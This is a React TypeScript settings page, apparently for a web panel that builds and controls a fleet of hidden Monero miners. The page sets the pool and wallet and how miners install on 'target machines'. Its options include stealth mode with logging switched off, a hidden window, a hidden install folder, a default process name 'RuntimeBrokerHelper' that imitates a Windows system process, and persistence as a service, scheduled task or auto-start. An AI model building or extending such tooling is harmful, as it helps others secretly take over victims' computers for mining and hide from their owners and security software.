Ambient background, 3D neon cards, brass HUD styling, glowing charts, gauge rings, and refreshed Command Deck, Fleet Roster, Forge, and Calibrate pages.
501 lines
21 KiB
TypeScript
501 lines
21 KiB
TypeScript
import { useState, useEffect } from 'react';
|
|
import { api } from '../api/client';
|
|
import type { ServerConfig } from '../types';
|
|
import { HelpTip } from '../components/HelpTip';
|
|
import NeonCard from '../components/NeonCard/NeonCard';
|
|
import './Pages.css';
|
|
|
|
export default function SettingsPage() {
|
|
const [config, setConfig] = useState<ServerConfig | null>(null);
|
|
const [loading, setLoading] = useState(true);
|
|
const [saving, setSaving] = useState(false);
|
|
const [saveMessage, setSaveMessage] = useState('');
|
|
|
|
useEffect(() => {
|
|
api.getConfig()
|
|
.then(setConfig)
|
|
.catch(console.error)
|
|
.finally(() => setLoading(false));
|
|
}, []);
|
|
|
|
const updateField = (path: string, value: any) => {
|
|
if (!config) return;
|
|
const newConfig = { ...config };
|
|
const keys = path.split('.');
|
|
let obj: any = newConfig;
|
|
for (let i = 0; i < keys.length - 1; i++) {
|
|
obj = obj[keys[i]];
|
|
}
|
|
obj[keys[keys.length - 1]] = value;
|
|
setConfig(newConfig);
|
|
};
|
|
|
|
const handleSave = async () => {
|
|
if (!config) return;
|
|
setSaving(true);
|
|
setSaveMessage('');
|
|
try {
|
|
const updated = await api.updateConfig(config);
|
|
setConfig(updated);
|
|
setSaveMessage('✅ Settings saved successfully');
|
|
setTimeout(() => setSaveMessage(''), 3000);
|
|
} catch (err: any) {
|
|
setSaveMessage(`❌ Failed to save: ${err.message}`);
|
|
} finally {
|
|
setSaving(false);
|
|
}
|
|
};
|
|
|
|
if (loading) {
|
|
return (
|
|
<div className="page fade-in command-deck">
|
|
<header className="deck-hero">
|
|
<div className="deck-hero-text">
|
|
<p className="deck-eyebrow font-tech">CALIBRATION</p>
|
|
<h1>System Calibrate</h1>
|
|
</div>
|
|
</header>
|
|
<NeonCard accent="brass"><p>Loading settings...</p></NeonCard>
|
|
</div>
|
|
);
|
|
}
|
|
|
|
if (!config) {
|
|
return (
|
|
<div className="page fade-in">
|
|
<div className="page-header"><h1>Settings</h1></div>
|
|
<div className="card"><p>Failed to load settings</p></div>
|
|
</div>
|
|
);
|
|
}
|
|
|
|
return (
|
|
<div className="page fade-in command-deck">
|
|
<header className="deck-hero">
|
|
<div className="deck-hero-text">
|
|
<p className="deck-eyebrow font-tech">CALIBRATION</p>
|
|
<h1>System Calibrate</h1>
|
|
<p className="page-subtitle">Pool, wallet, defaults, and install paths for the forge.</p>
|
|
</div>
|
|
<button className="btn btn-primary" onClick={handleSave} disabled={saving}>
|
|
{saving ? 'Saving...' : 'Save Settings'}
|
|
</button>
|
|
</header>
|
|
|
|
{saveMessage && (
|
|
<div className={`save-message ${saveMessage.includes('✅') ? 'success' : 'error'}`}>
|
|
{saveMessage}
|
|
</div>
|
|
)}
|
|
|
|
<div className="settings-grid">
|
|
{/* Pool Configuration */}
|
|
<div className="card settings-section">
|
|
<h2>Pool Connection</h2>
|
|
<p className="section-desc">Configure which Monero pool your miners connect to.</p>
|
|
<div className="form-group">
|
|
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
|
|
<input
|
|
type="text"
|
|
className="input"
|
|
value={config.pool.host}
|
|
onChange={(e) => updateField('pool.host', e.target.value)}
|
|
placeholder="pool.supportxmr.com"
|
|
/>
|
|
</div>
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label">Port <HelpTip field="pool_port" /></label>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
value={config.pool.port}
|
|
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)}
|
|
/>
|
|
</div>
|
|
<div className="form-group checkbox-group">
|
|
<label className="checkbox-label">
|
|
<input
|
|
type="checkbox"
|
|
className="checkbox"
|
|
checked={config.pool.use_tls}
|
|
onChange={(e) => updateField('pool.use_tls', e.target.checked)}
|
|
/>
|
|
<span>Use TLS/SSL</span>
|
|
</label>
|
|
</div>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label">Password (optional)</label>
|
|
<input
|
|
type="text"
|
|
className="input"
|
|
value={config.pool.password}
|
|
onChange={(e) => updateField('pool.password', e.target.value)}
|
|
placeholder="x"
|
|
/>
|
|
</div>
|
|
</div>
|
|
|
|
{/* Wallet Configuration */}
|
|
<div className="card settings-section">
|
|
<h2>Wallet</h2>
|
|
<p className="section-desc">Default wallet address for new miners.</p>
|
|
<div className="form-group">
|
|
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
|
<input
|
|
type="text"
|
|
className="input mono"
|
|
value={config.wallet.address}
|
|
onChange={(e) => updateField('wallet.address', e.target.value)}
|
|
placeholder="4..."
|
|
/>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label">Payment ID (optional)</label>
|
|
<input
|
|
type="text"
|
|
className="input mono"
|
|
value={config.wallet.payment_id}
|
|
onChange={(e) => updateField('wallet.payment_id', e.target.value)}
|
|
/>
|
|
</div>
|
|
</div>
|
|
|
|
{/* Default Agent Config */}
|
|
<div className="card settings-section">
|
|
<h2>Default Agent Configuration</h2>
|
|
<p className="section-desc">Default settings applied to newly built miners.</p>
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
|
|
<select
|
|
className="select"
|
|
value={config.default_agent_config.thread_mode || 'percent'}
|
|
onChange={(e) => updateField('default_agent_config.thread_mode', e.target.value)}
|
|
>
|
|
<option value="percent">Auto (% of cores)</option>
|
|
<option value="fixed">Fixed count</option>
|
|
</select>
|
|
</div>
|
|
{config.default_agent_config.thread_mode === 'fixed' ? (
|
|
<div className="form-group">
|
|
<label className="label">Threads <HelpTip field="threads" /></label>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
min={1}
|
|
max={128}
|
|
value={config.default_agent_config.threads}
|
|
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
|
|
/>
|
|
</div>
|
|
) : (
|
|
<div className="form-group">
|
|
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
min={10}
|
|
max={100}
|
|
value={config.default_agent_config.thread_percent ?? 75}
|
|
onChange={(e) => updateField('default_agent_config.thread_percent', parseInt(e.target.value) || 75)}
|
|
/>
|
|
</div>
|
|
)}
|
|
</div>
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
|
|
<select
|
|
className="select"
|
|
value={config.default_agent_config.cpu_priority}
|
|
onChange={(e) => updateField('default_agent_config.cpu_priority', e.target.value)}
|
|
>
|
|
<option value="idle">Idle</option>
|
|
<option value="below_normal">Below Normal</option>
|
|
<option value="normal">Normal</option>
|
|
<option value="above_normal">Above Normal</option>
|
|
<option value="high">High</option>
|
|
</select>
|
|
</div>
|
|
</div>
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
min={1}
|
|
max={100}
|
|
value={config.default_agent_config.max_cpu_usage_pct}
|
|
onChange={(e) => updateField('default_agent_config.max_cpu_usage_pct', parseInt(e.target.value) || 80)}
|
|
/>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
min={10}
|
|
max={95}
|
|
value={config.default_agent_config.max_memory_percent ?? 70}
|
|
onChange={(e) => updateField('default_agent_config.max_memory_percent', parseInt(e.target.value) || 70)}
|
|
/>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
min={256}
|
|
value={config.default_agent_config.min_free_ram_mb}
|
|
onChange={(e) => updateField('default_agent_config.min_free_ram_mb', parseInt(e.target.value) || 1024)}
|
|
/>
|
|
</div>
|
|
</div>
|
|
<div className="form-section">
|
|
<h3>Install Location Defaults</h3>
|
|
<p className="section-desc">Where built installers embed the miner on first run.</p>
|
|
<div className="form-group">
|
|
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
|
|
<select
|
|
className="select"
|
|
value={config.default_agent_config.install_base || 'localappdata'}
|
|
onChange={(e) => updateField('default_agent_config.install_base', e.target.value)}
|
|
>
|
|
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
|
|
<option value="appdata">Roaming App Data (%APPDATA%)</option>
|
|
<option value="programdata">Program Data (%ProgramData%)</option>
|
|
<option value="userprofile">User Profile (%USERPROFILE%)</option>
|
|
<option value="temp">Temp Folder (%TEMP%)</option>
|
|
<option value="custom">Custom Path</option>
|
|
</select>
|
|
</div>
|
|
{config.default_agent_config.install_base === 'custom' && (
|
|
<div className="form-group">
|
|
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
|
|
<input
|
|
type="text"
|
|
className="input mono"
|
|
value={config.default_agent_config.install_custom_base || ''}
|
|
onChange={(e) => updateField('default_agent_config.install_custom_base', e.target.value)}
|
|
placeholder="%ProgramData%\\HiddenApps"
|
|
/>
|
|
</div>
|
|
)}
|
|
<div className="form-group">
|
|
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
|
|
<input
|
|
type="text"
|
|
className="input mono"
|
|
value={config.default_agent_config.install_relative_path || 'CryptoMiner/{worker}-{build_short}'}
|
|
onChange={(e) => updateField('default_agent_config.install_relative_path', e.target.value)}
|
|
/>
|
|
</div>
|
|
<div className="form-group checkbox-group">
|
|
<label className="checkbox-label">
|
|
<input type="checkbox" className="checkbox" checked={config.default_agent_config.adapt_to_hardware ?? true}
|
|
onChange={(e) => updateField('default_agent_config.adapt_to_hardware', e.target.checked)} />
|
|
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
|
|
</label>
|
|
</div>
|
|
<div className="form-group checkbox-group">
|
|
<label className="checkbox-label">
|
|
<input type="checkbox" className="checkbox" checked={config.default_agent_config.self_healing ?? true}
|
|
onChange={(e) => updateField('default_agent_config.self_healing', e.target.checked)} />
|
|
<span>Self-healing <HelpTip field="self_healing" /></span>
|
|
</label>
|
|
</div>
|
|
<div className="form-group checkbox-group">
|
|
<label className="checkbox-label">
|
|
<input type="checkbox" className="checkbox" checked={config.default_agent_config.stealth_mode ?? false}
|
|
onChange={(e) => {
|
|
updateField('default_agent_config.stealth_mode', e.target.checked);
|
|
if (e.target.checked) updateField('default_agent_config.file_logging', false);
|
|
}} />
|
|
<span>Stealth mode <HelpTip field="stealth_mode" /></span>
|
|
</label>
|
|
</div>
|
|
</div>
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
|
|
<select
|
|
className="select"
|
|
value={config.default_agent_config.display_mode || 'background'}
|
|
onChange={(e) => updateField('default_agent_config.display_mode', e.target.value)}
|
|
>
|
|
<option value="visible">Visible (console)</option>
|
|
<option value="silent">Silent (hidden window)</option>
|
|
<option value="background">Background (hidden + low priority)</option>
|
|
</select>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
|
<input
|
|
type="text"
|
|
className="input"
|
|
value={config.default_agent_config.process_name || 'RuntimeBrokerHelper'}
|
|
onChange={(e) => updateField('default_agent_config.process_name', e.target.value)}
|
|
placeholder="RuntimeBrokerHelper"
|
|
/>
|
|
</div>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
|
<select
|
|
className="select"
|
|
value={config.default_agent_config.mining_mode}
|
|
onChange={(e) => updateField('default_agent_config.mining_mode', e.target.value)}
|
|
>
|
|
<option value="always">Always Mine</option>
|
|
<option value="idle">Only When Idle</option>
|
|
<option value="scheduled">Scheduled Hours</option>
|
|
</select>
|
|
</div>
|
|
{config.default_agent_config.mining_mode === 'idle' && (
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
min={1}
|
|
max={100}
|
|
value={config.default_agent_config.idle_threshold_pct}
|
|
onChange={(e) => updateField('default_agent_config.idle_threshold_pct', parseInt(e.target.value) || 20)}
|
|
/>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
min={1}
|
|
value={config.default_agent_config.idle_duration_minutes}
|
|
onChange={(e) => updateField('default_agent_config.idle_duration_minutes', parseInt(e.target.value) || 5)}
|
|
/>
|
|
</div>
|
|
</div>
|
|
)}
|
|
{config.default_agent_config.mining_mode === 'scheduled' && (
|
|
<div className="form-row">
|
|
<div className="form-group">
|
|
<label className="label">Start Time <HelpTip field="schedule_start" /></label>
|
|
<input
|
|
type="time"
|
|
className="input"
|
|
value={config.default_agent_config.schedule_start}
|
|
onChange={(e) => updateField('default_agent_config.schedule_start', e.target.value)}
|
|
/>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label">End Time <HelpTip field="schedule_end" /></label>
|
|
<input
|
|
type="time"
|
|
className="input"
|
|
value={config.default_agent_config.schedule_end}
|
|
onChange={(e) => updateField('default_agent_config.schedule_end', e.target.value)}
|
|
/>
|
|
</div>
|
|
</div>
|
|
)}
|
|
</div>
|
|
|
|
{/* Background / Silent Mode */}
|
|
<div className="card settings-section">
|
|
<h2>Background & Deployment</h2>
|
|
<p className="section-desc">How miners behave on target machines.</p>
|
|
<div className="form-group checkbox-group">
|
|
<label className="checkbox-label">
|
|
<input
|
|
type="checkbox"
|
|
className="checkbox"
|
|
checked={config.background.silent_mode}
|
|
onChange={(e) => updateField('background.silent_mode', e.target.checked)}
|
|
/>
|
|
<span>Silent Mode (no console window) <HelpTip field="silent_mode" /></span>
|
|
</label>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label">Run As <HelpTip field="run_as" /></label>
|
|
<select
|
|
className="select"
|
|
value={config.background.run_as}
|
|
onChange={(e) => updateField('background.run_as', e.target.value)}
|
|
>
|
|
<option value="user">Current User</option>
|
|
<option value="service">Windows Service</option>
|
|
<option value="scheduled">Scheduled Task</option>
|
|
</select>
|
|
</div>
|
|
<div className="form-group checkbox-group">
|
|
<label className="checkbox-label">
|
|
<input
|
|
type="checkbox"
|
|
className="checkbox"
|
|
checked={config.background.auto_start}
|
|
onChange={(e) => updateField('background.auto_start', e.target.checked)}
|
|
/>
|
|
<span>Auto-start with Windows <HelpTip field="auto_start" /></span>
|
|
</label>
|
|
</div>
|
|
<div className="form-group checkbox-group">
|
|
<label className="checkbox-label">
|
|
<input
|
|
type="checkbox"
|
|
className="checkbox"
|
|
checked={config.background.minimize_to_tray}
|
|
onChange={(e) => updateField('background.minimize_to_tray', e.target.checked)}
|
|
/>
|
|
<span>Minimize to System Tray</span>
|
|
</label>
|
|
</div>
|
|
</div>
|
|
|
|
{/* Alerts */}
|
|
<div className="card settings-section">
|
|
<h2>Alerts</h2>
|
|
<p className="section-desc">Configure thresholds for fleet health alerts.</p>
|
|
<div className="form-group">
|
|
<label className="label">Offline Threshold (minutes)</label>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
min={1}
|
|
value={config.alerts.offline_threshold_minutes}
|
|
onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)}
|
|
/>
|
|
<span className="form-hint">Alert if agent hasn't reported in this many minutes</span>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label">Hashrate Drop Threshold (%)</label>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
min={1}
|
|
max={100}
|
|
value={config.alerts.hashrate_drop_threshold_pct}
|
|
onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)}
|
|
/>
|
|
<span className="form-hint">Alert if hashrate drops by this percentage</span>
|
|
</div>
|
|
<div className="form-group">
|
|
<label className="label">Rejection Rate Threshold (%)</label>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
min={1}
|
|
max={100}
|
|
value={config.alerts.rejection_rate_threshold_pct}
|
|
onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)}
|
|
/>
|
|
<span className="form-hint">Alert if share rejection rate exceeds this percentage</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
);
|
|
}
|